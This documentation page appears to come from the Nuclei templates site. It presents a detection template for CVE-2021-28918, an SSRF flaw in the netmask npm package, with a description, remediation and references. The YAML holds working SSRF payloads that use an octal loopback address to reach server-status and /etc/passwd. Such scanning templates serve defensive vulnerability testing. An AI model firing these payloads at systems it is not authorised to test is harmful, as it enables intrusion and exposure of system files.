Skip to content
Nuclei Templates

Netmask NPM Package - Server-Side Request Forgery

ID: CVE-2021-28918

Severity: critical

Author: johnjhacking

Tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js

Description

Section titled “Description”

Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.

YAML Source

Section titled “YAML Source”
id: CVE-2021-28918


info:
  name: Netmask NPM Package - Server-Side Request Forgery
  author: johnjhacking
  severity: critical
  description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/rs/node-netmask
    - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-704
    epss-score: 0.02704
    epss-percentile: 0.89404
    cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: netmask_project
    product: netmask
    framework: node.js
  tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js


http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"


    stop-at-first-match: true


    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and


      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 490a004630440220225174baeb92c761b977817fe1d5f11f5989b1b949598dff6f777f8a4f9f8b5202203c27361fb9ede2e9421936cb33a43fe11360d21b53bd3024d4d8a6f8b3b1ae50:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28918.yaml"

View on Github